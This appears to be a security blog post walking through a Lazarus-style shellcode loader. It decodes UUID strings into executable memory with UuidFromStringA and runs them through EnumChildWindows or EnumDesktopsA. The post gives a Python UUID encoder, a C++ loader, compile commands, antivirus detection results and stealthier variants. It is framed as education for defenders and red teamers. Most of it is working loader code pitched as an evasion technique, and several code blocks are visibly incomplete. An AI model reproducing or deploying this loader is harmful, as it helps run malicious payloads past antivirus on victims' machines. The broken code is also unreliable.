3 minute read

Hello, cybersecurity enthusiasts and white hackers!


This article is the result of my own research into another interesting trick: run payload via UuidFromStringA and for example EnumChildWindows.


This function converts a string to UUID:

RPC_STATUS UuidFromStringA(
  RPC_CSTR StringUuid,
  UUID     *Uuid

Without using standard functions like memcpy or WriteProcessMemory, this function can be used to decode data as well as write it to memory.

The shellcode execution technique is comprised of the subsequent steps:

  • Allocate memory via VirtualAlloc
  • Use UuidFromStringA to convert UUID strings their binary format and store in memory
  • Use EnumChildWindows (or EnumDesktopsA or another candidate) to execute the payload previously loaded into memory

practical example

Let’s go to look at a practical example. The trick is pretty simple, similar to previous tricks, but with some changes specific for Lazarus Group.

First of all, we need script to convert our desired payload to UUID valid strings. Something like this (payload_uuid.py):


from uuid import UUID
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-p','--payload', required = True, help = "payload: binary file")
args = vars(parser.parse_args())
pbin = args['payload']

with open(pbin, "rb") as f:
    # read in 16 bytes from our input payload
    chunk = f.read(16)
    while chunk:
        # if the chunk is less than 16 bytes then we pad the difference (x90)
        if len(chunk) < 16:
            padding = 16 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
        chunk = f.read(16)

As usually, I will use my meow-meow messagebox payload: meow.bin.


python3 payload_uuid.py -p meow.bin


Since we already have our payload in UUID format, we are able to construct our proof-of-concept code to test the following:

#include <windows.h>
#include <rpc.h>
#include <iostream>

#pragma comment(lib, "Rpcrt4.lib")

const char* uuids[] = {

int main() {
  int elems = sizeof(uuids) / sizeof(uuids[0]);
  VOID* mem = VirtualAlloc(NULL, 0x100000, 0x00002000 | 0x00001000, PAGE_EXECUTE_READWRITE);
  DWORD_PTR hptr = (DWORD_PTR)mem;
  for (int i = 0; i < elems; i++) {
    // printf("[*] Allocating %d of %d uuids\n", i + 1, elems);
    // printf("%s\n", *(uuids+i));
    RPC_CSTR rcp_cstr = (RPC_CSTR)*(uuids+i);
    RPC_STATUS status = UuidFromStringA((RPC_CSTR)rcp_cstr, (UUID*)hptr);
    if (status != RPC_S_OK) {
      printf("[-] UUID convert error\n");
      return -1;
     hptr += 16;

  EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
  // EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
  return 0;

Pay attention to the function UuidFromStringA. As I wrote earlier, invoking this API with a memory pointer instead of a UUID pointer will result in the binary representation of the given UUID being stored in memory.

By chaining many API requests and giving properly designed UUIDs, it is possible to load the necessary content (payload) into the chosen memory region.

And then, as a pointer to the callback function in EnumChildWindows we specify this memory region:

EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);

or another function EnumDesktopsA:

EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);


Let’s go to see everything in action. Compile our “malware”:

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -L/usr/x86_64-w64-mingw32/lib/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lrpcrt4


and run in our victim’s machine:



To make sure that our payload was really launched, you can slightly change a piece of code:

printf("[*] Hexdump: ");
for (int i = 0; i < elems*16; i++) {
  printf("%02X ", ((unsigned char*)mem)[i]);

Then compile again:

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -L/usr/x86_64-w64-mingw32/lib/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lrpcrt4


and run again:



As you can see, everything is work perfectly :)

Let’s go to upload hack.exe to VirusTotal:


So, 6 of 68 AV engines detect our file as malicious.


There is a caveat. Lazarus Group uses functions HeapCreate and HeapAlloc instead:

void* mem = HeapAlloc(hc, 0, 0x100000);

HeapAlloc is a frequently used API call for allocating heap memory.
This API, as far as I can tell, allows you to allocate specified amounts of memory on the heap, as opposed to the memory blocks obtained using the VirtualAlloc API. However, according to the documentation, HeapAlloc can still call VirtualAlloc if necessary.

It also has the advantage that this API is not so suspicious.

Also Lazarus Group uses function EnumSystemLocalesA for execute payload.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

nccgroup - RIFT: Analysing a Lazarus Shellcode Execution Method
Lazarus Group
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine